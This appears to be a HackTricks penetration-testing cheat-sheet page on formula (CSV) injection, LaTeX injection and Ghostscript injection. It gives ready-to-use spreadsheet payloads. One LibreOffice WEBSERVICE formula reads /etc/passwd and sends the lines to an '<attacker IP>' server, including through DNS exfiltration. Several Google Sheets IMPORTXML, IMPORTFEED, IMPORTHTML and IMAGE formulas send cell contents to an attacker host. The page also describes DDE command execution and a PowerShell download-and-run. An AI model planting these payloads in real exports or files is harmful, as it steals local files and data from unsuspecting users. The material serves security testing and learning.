Formula/CSV/Doc/LaTeX/GhostScript Injection
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Formula Injection
Info
If your input is being reflected inside CSV files (or any other file that is probably going to be opened by Excel), you maybe able to put Excel formulas that will be executed when the user opens the file or when the user clicks on some link inside the excel sheet.
Nowadays Excel will alert (several times) the user when something is loaded from outside the Excel in order to prevent him to from malicious action. Therefore, special effort on Social Engineering must be applied to he final payload.
Hyperlink
The following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. But it requires the use to click on the link (and accept the warning prompts).
The following example was taken from https://payatu.com/csv-injection-basic-to-exploit
Imagine a security breach in a Student Record Management system is exploited through a CSV injection attack. The attacker's primary intention is to compromise the system used by teachers to manage student details. The method involves the attacker injecting a malicious payload into the application, specifically by entering harmful formulas into fields meant for student details. The attack unfolds as follows:
Injection of Malicious Payload:
The attacker submits a student detail form but includes a formula commonly used in spreadsheets (e.g.,
=HYPERLINK("<malicious_link>","Click here")
).This formula is designed to create a hyperlink, but it points to a malicious server controlled by the attacker.
Exporting Compromised Data:
Teachers, unaware of the compromise, use the application's functionality to export the data into a CSV file.
The CSV file, when opened, still contains the malicious payload. This payload appears as a clickable hyperlink in the spreadsheet.
Triggering the Attack:
A teacher clicks on the hyperlink, believing it to be a legitimate part of the student's details.
Upon clicking, sensitive data (potentially including details from the spreadsheet or the teacher's computer) is transmitted to the attacker's server.
Logging the Data:
The attacker's server receives and logs the sensitive data sent from the teacher's computer.
The attacker can then use this data for various malicious purposes, further compromising the privacy and security of the students and the institution.
RCE
Check the original post for further details.
In specific configurations or older versions of Excel, a feature called Dynamic Data Exchange (DDE) can be exploited for executing arbitrary commands. To leverage this, the following settings must be enabled:
Navigate to File → Options → Trust Center → Trust Center Settings → External Content, and enable Dynamic Data Exchange Server Launch.
When a spreadsheet with the malicious payload is opened (and if the user accepts the warnings), the payload is executed. For example, to launch the calculator application, the payload would be:
Additional commands can also be executed, such as downloading and executing a file using PowerShell:
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc can be used to read local files and exfiltrate data. Here are some methods:
Reading the first line from the local
/etc/passwd
file:='file:///etc/passwd'#$passwd.A1
Exfiltrating the read data to an attacker-controlled server:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
Exfiltrating more than one line:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
DNS exfiltration (sending read data as DNS queries to an attacker-controlled DNS server):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets offers functions that can be exploited for OOB data exfiltration:
CONCATENATE: Appends strings together -
=CONCATENATE(A2:E2)
IMPORTXML: Imports data from structured data types -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Imports RSS or ATOM feeds -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Imports data from HTML tables or lists -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Imports a range of cells from another spreadsheet -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Inserts an image into a cell -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
Usually the servers that will find on the internet that convert LaTeX code to PDF use pdflatex
.
This program uses 3 main attributes to (dis)allow command execution:
--no-shell-escape
: Disable the\write18{command}
construct, even if it is enabled in the texmf.cnf file.--shell-restricted
: Same as--shell-escape
, but limited to a 'safe' set of predefined **commands (**On Ubuntu 16.04 the list is in/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Enable the\write18{command}
construct. The command can be any shell command. This construct is normally disallowed for security reasons.
However, there are other ways to execute commands, so to avoid RCE it's very important to use --shell-restricted
.
Read file
You might need to adjust injection with wrappers as [ or $.
Read single lined file
Read multiple lined file
Write file
Command execution
The input of the command will be redirected to stdin, use a temp file to get it.
If you get any LaTex error, consider using base64 to get the result without bad characters
Cross Site Scripting
From @EdOverflow
Ghostscript Injection
Check https://blog.redteam-pentesting.de/2023/ghostscript-overview/
References
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated